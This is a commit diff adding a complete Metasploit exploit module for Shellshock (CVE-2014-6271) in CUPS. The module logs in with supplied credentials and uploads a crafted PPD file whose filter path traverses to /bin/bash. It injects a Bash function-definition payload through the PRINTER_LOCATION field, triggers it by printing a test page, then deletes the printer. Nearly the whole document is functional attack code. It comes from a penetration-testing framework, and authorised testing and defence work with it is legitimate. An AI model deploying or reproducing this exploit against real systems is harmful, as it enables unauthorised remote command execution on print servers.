Add exploit module for CUPS shellshock

Author: bcoles

modules/exploits/multi/http/cups_bash_env_exec.rb

@@ -0,0 +1,209 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name' => 'CUPS Filter Bash Environment Variable Code Injection',
+      'Description' => %q{
+        This module exploits a post-auth code injection in specially crafted
+        environment variables in Bash, specifically targeting CUPS filters
+        through the PRINTER_INFO and PRINTER_LOCATION variables by default.
+      },
+      'Author' => [
+        'Stephane Chazelas', # Vulnerability discovery
+        'Brendan Coles <bcoles[at]gmail.com>' # msf
+      ],
+      'References' => [
+        ['CVE', '2014-6271'],
+        ['EDB', '34765'],
+        ['URL', 'https://access.redhat.com/articles/1200223'],
+        ['URL', 'http://seclists.org/oss-sec/2014/q3/649']
+      ],
+      'Privileged' => false,
+      'Arch' => ARCH_CMD,
+      'Platform' => 'unix',
+      'Payload' =>
+        {
+          'Space'       => 1024,
+          'BadChars'    => "\x00\x0A\x0D\x22",
+          'DisableNops' => true,
+        },
+      'Compat'  =>
+        {
+          'PayloadType' => 'cmd',
+          'RequiredCmd' => 'generic bash netcat perl',
+        },
+      # Tested on CUPS 1.4.3
+      'Targets' =>
+        [
+          [
+            'Automatic Targeting', { 'auto' => true }
+          ],
+        ],
+      'DefaultTarget' => 0,
+      'DisclosureDate' => 'Sep 24 2014',
+      'License' => MSF_LICENSE
+    ))
+    register_options([
+      Opt::RPORT(631),
+      OptString.new('USERNAME', [ true, 'CUPS username', '']),
+      OptString.new('PASSWORD', [ true, 'CUPS password', ''])
+    ], self.class)
+  end
+
+  #
+  # Check
+  #
+  def check
+    Exploit::CheckCode::Unknown
+  end
+
+  #
+  # Exploit
+  #
+  def exploit
+    @cookie = rand_text_alphanumeric(16)
+    printer_name = rand_text_alphanumeric(10)
+
+    # Create a printer with a CUPS filter pointing to /bin/bash
+    res = create_printer(printer_name)
+    if !res
+      print_error("#{peer} - Request failed")
+      return
+    elsif res.code == 426
+      print_error("#{peer} - Authentication failed")
+      return
+    elsif res.body =~ /Set Default Options for #{printer_name}/
+      print_good("#{peer} - Created printer successfully")
+    end
+
+    # Request a printer test page.
+    # The print job triggers execution of the bash filter
+    # which executes the payload in the env vars.
+    res = print_test_page(printer_name)
+    if !res || res.code != 200
+      print_error("#{peer} - Request failed")
+      return
+    end
+    if res.body =~ /Test page sent; job ID is/
+      print_status "#{peer} - Test page sent successfully"
+    end
+
+    # Delete the printer
+    res = delete_printer(printer_name)
+    if !res || res.code != 200
+      print_error("#{peer} - Request failed")
+      return
+    end
+    if res.body =~ /has been deleted successfully/
+      print_status "#{peer} - Deleted printer '#{printer_name}' successfully"
+    end
+  end
+
+  #
+  # Create a printer
+  #
+  def create_printer printer_name
+    print_status "#{peer} - Creating printer '#{printer_name}'"
+
+    ppd_file = <<-EOF
+*PPD-Adobe: "4.3"
+*%==== General Information Keywords ========================
+*FormatVersion: "4.3"
+*FileVersion: "1.00"
+*LanguageVersion: English
+*LanguageEncoding: ISOLatin1
+*PCFileName: "MFC3820CN.PPD"
+*Manufacturer: "Brother"
+*Product: "(Brother MFC-3820CN)"
+*1284DeviceID: "MFG:Brother;MDL:MFC-3820CN"
+*cupsVersion: 1.1
+*cupsManualCopies: False
+*cupsFilter: "application/vnd.cups-postscript 0 ../../../../../../../../../../bin/bash"
+*cupsModelNumber: 5
+*ModelName: "Brother MFC-3820CN"
+*ShortNickName: "Brother MFC-3820CN"
+*NickName: "Brother MFC-3820CN CUPS v1.1"
+*PSVersion: "(3010.106) 3"
+*%
+EOF
+
+    shock = "() { :;}; /bin/bash -c \"#{payload.raw} &\""
+
+    pd = Rex::MIME::Message.new
+    pd.add_part(ppd_file, "application/octet-stream", nil, "form-data; name=\"PPD_FILE\"; filename=\"#{rand_text_alphanumeric(10)}.ppd\"")
+    pd.add_part("#{@cookie}", nil, nil, "form-data; name=\"org.cups.sid\"")
+    pd.add_part("add-printer", nil, nil, "form-data; name=\"OP\"")
+    pd.add_part("#{printer_name}", nil, nil, "form-data; name=\"printer_name\"")
+    pd.add_part("#{printer_name}", nil, nil, "form-data; name=\"PRINTER_NAME\"")
+    pd.add_part("", nil, nil, "form-data; name=\"PRINTER_INFO\"") # injectable
+    pd.add_part("#{shock}", nil, nil, "form-data; name=\"PRINTER_LOCATION\"") # injectable
+    pd.add_part("file:///dev/null", nil, nil, "form-data; name=\"DEVICE_URI\"")
+    pd.add_part('', nil, nil, "form-data; name=\"PRINTER_IS_SHARED\"")
+    pd.add_part('262144', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"") # default value
+
+    data = pd.to_s
+    data.strip!
+
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, 'admin'),
+      'ctype' => "multipart/form-data; boundary=#{pd.bound}",
+      'data' => data,
+      'cookie' => "org.cups.sid=#{@cookie};",
+      'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']),
+    })
+
+    return res
+  end
+
+  #
+  # Print a test page
+  #
+  def print_test_page printer_name
+    print_status "#{peer} - Requesting printer test page"
+    res = send_request_cgi(
+      {
+        'method' => 'POST',
+        'uri' => normalize_uri(target_uri.path,'printers',printer_name),
+        'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']),
+        'cookie' => "org.cups.sid=#{@cookie}",
+        'vars_post' => {
+          'org.cups.sid' => @cookie,
+          'OP' => 'print-test-page'
+        }
+      }
+    )
+    return res
+  end
+
+  #
+  # Delete a printer
+  #
+  def delete_printer printer_name
+    res = send_request_cgi(
+      {
+        'method' => 'POST',
+        'uri' => normalize_uri(target_uri.path,'admin'),
+        'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']),
+        'cookie' => "org.cups.sid=#{@cookie}",
+        'vars_post' => {
+          'org.cups.sid' => @cookie,
+          'OP' => 'delete-printer',
+          'printer_name' => printer_name,
+          'confirm' => 'Delete Printer'
+        }
+      }
+    )
+    return res
+  end
+
+end